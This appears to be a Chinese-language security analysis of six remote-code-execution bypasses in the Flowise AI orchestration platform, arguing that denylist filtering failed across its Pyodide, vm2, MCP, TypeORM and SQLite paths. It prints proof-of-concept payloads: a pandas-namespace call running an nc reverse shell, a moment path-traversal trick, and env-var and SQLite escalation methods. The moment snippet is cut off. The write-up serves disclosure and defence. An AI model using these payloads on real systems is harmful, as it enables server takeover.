Pyodide 的 WebAssembly 隔離真的可靠?
1. 簡介
低程式碼 AI 協調平台(Low-code AI orchestration platforms)
讓開發人員能將大型語言模型(Large Language Model, LLM)呼叫、文件載入器、資料庫連接器及客製化腳本(Custom script)串接成視覺化工作流程。
Flowise
是此類平台中被廣泛採用的開源專案之一,其 GitHub 歷史記錄中包含大量高嚴重性與重大風險的建議
[1]
。近期一份技術揭露文件記載了六個先前未通報的
遠端程式碼執行(Remote Code Execution, RCE)問題
,影響 Flowise v3.1.1 與 v3.1.2
[1]
。此報告分析這些發現背後的底層安全模式,聚焦於平台如何仰賴黑名單風格的輸入過濾, 而非原則沙箱機制(Principled sandboxing),並在數個獨立子系統中重複未能防範任意程式碼執行:包含一個使用
Pyodide
的 Python 資料處理節點、一個
vm2
的 JavaScript 沙箱,以及一個會產生本機 Process 的 Model Context Protocol 用戶端。
此弱點類別並非 Flowise 獨有。在
前期文章針對 Claude Code 中 CVE-2025-54794 與 CVE-2025-54795 的分析
也可看到類似案例,其中一個使用
startsWith
Path 前綴的檢查與一個不完整的 Shell Metacharacter 檢查均被繞過,因為驗證邏輯僅處理特定已知模式,而未針對系統實際需要強制執行的通用屬性進行防護。以下 Flowise 案例研究顯示相同的結構性失誤反覆出現在五個不同的程式碼路徑中。
2. 透過 Pyodide 為基礎的 CSV 處理進行 RCE(CSVAgent)
Flowise
的
CSVAgent 節點
允許使用者提供的 Python 程式碼片段(
customReadCSVFunc
)被插入到
pandas 表達式
中,並在伺服器端的 Pyodide(WebAssembly Python)執行環境中執行。執行前,該片段會透過正規表示式黑名單進行檢查,涵蓋 import、Reflection builtin 函式(如
eval
、
getattr
、
__class__
)以及危險模組(如
os
和
subprocess
)。
- // Program 1 — flowise-components/src/pythonCodeValidator.ts
- // Denylist used to screen user-supplied pandas code before execution.
- const FORBIDDEN_PATTERNS = [
- // blocks "import" so the executor's pre-imported pandas/numpy
- // cannot be supplemented with new modules
- { pattern: /\bimport\b/g, reason: 'import statement forbidden' },
- // blocks common code-execution builtins
- { pattern: /\beval\s*\(/g, reason: 'eval()' },
- { pattern: /\bexec\s*\(/g, reason: 'exec()' },
- { pattern: /\b__import__\s*\(/g, reason: '__import__()' },
- // blocks direct references to dangerous modules by *name*,
- // e.g. any literal occurrence of "os." or "subprocess."
- { pattern: /\bos\./g, reason: 'os module' },
- { pattern: /\bsubprocess\./g, reason: 'subprocess module' },
- // reflection primitives used to climb from a value back to a class
- { pattern: /\b__class__\b/g, reason: '__class__ (reflection)' },
- { pattern: /\b__subclasses__\s*\(/g, reason: '__subclasses__()' }
- ];
- // A single regex match on any pattern rejects the whole snippet.
該拒絕清單(denylist)的推理是使用表面語法(Surface syntax),而非可達行為。由於
pandas
會將其依賴模組(Dependency module)重新匯出為屬性(例如 pandas.io.common.os),因此程式片段可以在未曾寫出字面上的
os.
子字串(以 regex 預期的方式作為獨立標記界定)時,仍然到達
os.system
,或者透過在呼叫前先為物件建立別名,如下所示。
- // Program 2 — PoC payload submitted as customReadCSVFunc
- // Reaches os.system through pandas' own namespace instead of
- // importing os directly, evading the "os." and "import" rules.
- isnull("")
- _m = pd.io.common.os
- _m.system("/usr/bin/nc 172.17.0.1 13337 -e /bin/sh")
另一種等效路徑使用
pd.read_pickle()
搭配一個手寫的類別,模擬
BytesIO
的
read()
/
readline()
介面,使得一個經過 Base64 解碼的 Pickle Payload(其
__reduce__
方法會呼叫
os.system
)可直接在沙箱內被反序列化。這呼應了
關於不安全反序列化的概述
中所歸納的一般原則:在未限制可
反序列化
類別集合的情況下,對攻擊者可控的 Byte Stream 進行
反序列化
,本質上等同於賦予傳送者執行操作(Execution Primitive),與程式語言或框架無關。Flowise 的第一個修補僅擴充了黑名單(加入
pickle
、
marshal
,並禁止
class
定義),並限制程式碼片段必須以
read_csv(
開頭;但隨後仍被 Walrus Operator 表達式
read_csv((_m := pd.io.common.os, _m.system(...)))
繞過,最後才將這些弱點節點從程式庫中完全移除。
denylist check passes (bypassed) Pyodide->>Pyodide: pd.io.common.os.system(reverse shell) Pyodide-->>Attacker: Reverse shell connection established
圖 1. CSVAgent 黑名單繞過的攻擊序列,根據來參考文章所描述的請求/回應流程重建。
3. 透過允許的相依套件逃逸 vm2 沙箱
Flowise 在
vm2
的分支中執行使用者定義的 JavaScript 函式,
vm2
是一個 Node.js 沙箱,因其維護者已因多次重大逃逸而將其棄用。預設情況下,沙箱允許三個外部模組 —
axios
、
moment
和
node-fetch
— 在不受信任的程式碼中透過 require 引入。
- // Program 3 — packages/components/src/utils.ts
- // External modules permitted by default inside the vm2 sandbox.
- const defaultAllowExternalDependencies = ['axios', 'moment', 'node-fetch']
- ...
- deps.push(...defaultAllowExternalDependencies)
- const defaultNodeVMOptions = {
- sandbox,
- require: {
- external: { modules: deps, transitive: false },
- builtin: builtinDeps,
- mock: secureWrappers // http libs are wrapped, but moment is not
- },
- eval: false,
- wasm: false
- }
- const vm = new NodeVM(defaultNodeVMOptions)
由於
vm2
依賴 JavaScript Proxy 來中介所有 Host 互動,一旦允許的外部模組被載入,其內部的函式就不再經過 Proxy 處理。其中所捆綁的
moment@2.29.3
帶有一個已修補但未完全修復的 Path Traversal 問題 :其
isLocaleNameSane
檢查會對所傳入的 Locale 名稱呼叫
.match()
,因此若傳入一個覆寫
match
使其永遠回傳
true
的物件,即可繞過該檢查,並以任意 Path 抵達
require('./locale/' + name)
。
- // Program 4 — PoC executed inside the vm2 sandbox via the
- // custom-function endpoint (POST /api/v1/node-custom-function)
- fake = new String("../../../../../../../etc/passwd");
- fake.match = function(regexp){ return true; }; // defeats CVE-2022-24785's regex check
- require("moment").lo
結合一個未經身分驗證的檔案上傳端點,該端點會將攻擊者內容寫入登入與文件儲存 API 所回傳的組織/儲存庫識別碼下之可預測儲存路徑,這個
require()
的基本能力便足以載入並執行上傳的 JavaScript Reverse Shell,進而在本應隔離不受信任程式碼的沙箱內達成完整 RCE。
4. 透過環境變數注入 MCP 設定進行 RCE
Flowise 的 Custom MCP 節點會使用 Model Context Protocol 用戶端的 stdio Transport 來產生本機 Process。平台會先驗證所要產生的指令、其參數及環境變數,然後才啟動。
- // Program 5 — packages/components/nodes/tools/MCP/core.ts
- // Environment-variable and command validation for Custom MCP nodes.
- export const validateEnvironmentVariables = (env) => {
- // Denylist of a handful of named variables considered dangerous.
- const dangerousEnvVars = ['PATH', 'LD_LIBRARY_PATH', 'DYLD_LIBRARY_PATH', 'NODE_OPTIONS']
- for (const [key, value] of Object.entries(env)) {
- if (dangerousEnvVars.includes(key)) {
- throw new Error(`Environment variable '${key}' modification is not allowed`)
- }
- }
- }
- export const validateMCPServerConfig = (serverParams) => {
- // Only these interpreter/runtime commands may be spawned.
- const allowedCommands = ['node', 'npx', 'python', 'python3', 'docker']
- if (!allowedCommands.includes(serverParams.command)) {
- throw new Error(`Command '${serverParams.command}' is not allowed`)
- }
- if (serverParams.env) validateEnvironmentVariables(serverParams.env)
- }
這又是一個小型、具名黑名單,而非對直譯器行為的語意約束(Semantic constraint)。Python 及其
antigravity
彩蛋模組會遵循未被列入黑名單的
PYTHONWARNINGS
與
BROWSER
變數,在觸發棄用警告時啟動任意 Shell 指令,從而無需碰觸任何黑名單內的名稱即可達成 RCE。第二種繞過方式是利用所搭載的 Docker 映像從未設定
WORKDIR
,導致工作目錄保持在
/
;這使得相對參數(如
proc/self/environ
)可解析為 Process 自身的環境區塊,而
HOME
變數(不在黑名單中)則可被覆寫為 JavaScript,使
/proc/self/environ
本身變成一個可執行 Script。最終的修補方式從黑名單移轉為允許清單,並將預設 Transport 從
stdio
改為
sse
,這在強度上遠比按名稱過濾更為穩固。
5. TypeORM DataSource 選項與 SQLite 檔案寫入基本能力
數個記錄管理器與記憶體節點會將使用者提供的
additionalConfig
物件直接轉傳給 TypeORM 的
DataSource
Constructor。諸如
entities
、
subscribers
與
migrations
等選項會指示 TypeORM 載入並執行本地 JavaScript 檔案,因此若提供一個位於 Flowise 儲存目錄下(且已有上傳檔案存在)的路徑,即可在無任何 Script 沙箱的情況下達成程式碼執行。另一方面,SQL Database Chain 與 SQLite Record Manager 節點則允許將本地 SQLite 資料庫檔案寫入攻擊者指定的路徑。由於 Container 以 root 身分執行,且初始修補時未對路徑設限,此任意檔案寫入基本能力被進一步提升為 RCE:攻擊者可寫入一個特製的 SQLite 檔案(利用嵌入於資料表名稱中的指令替換,使其在強制 SQLite Header 之下仍形成有效的 POSIX Shell 片段)至
/etc/chromium/*.conf
,該位置會被
Puppeteer
在執行 Web Scraper 節點時所呼叫的 Chromium 啟動 Script 納入來源。這兩類修補方式(TypeORM 選項黑名單與 SQLite 路徑目錄允許清單)再次僅緩解了已通報的 Payload,卻未消除暴露給使用者輸入的更廣泛能力。
6. 結論
文章所檢視的 Pyodide、vm2、MCP、TypeORM 與 SQLite 程式碼路徑中,Flowise 反覆嘗試透過對使用者輸入套用模式比對過濾器,來防護本質上危險的操作 — 包含任意程式碼執行、Process 產生與不受限制的檔案寫入 — 而非移除該能力或將其隔離在具備適當權限分隔的邊界內。每一個黑名單都僅針對所通報的特定 Proof of Concept 進行處理,隨後又都被過濾器未列舉到的等效基本能力所繞過。如同 前期文章對 Claude Code 自身 Path 與指令控制措施的回顧 在另一個不相關的 AI 工具中所觀察到的,這是針對 AI 相關執行表面(Execution surface)進行表層驗證(Surface-level validation)時的一般特性:安全必須圍繞可達成的能力來設計,而非僅針對已觀察到的 Exploit 字串;且反覆的事後黑名單修補,正是底層架構(而非輸入過濾器)需要改變的可靠指標。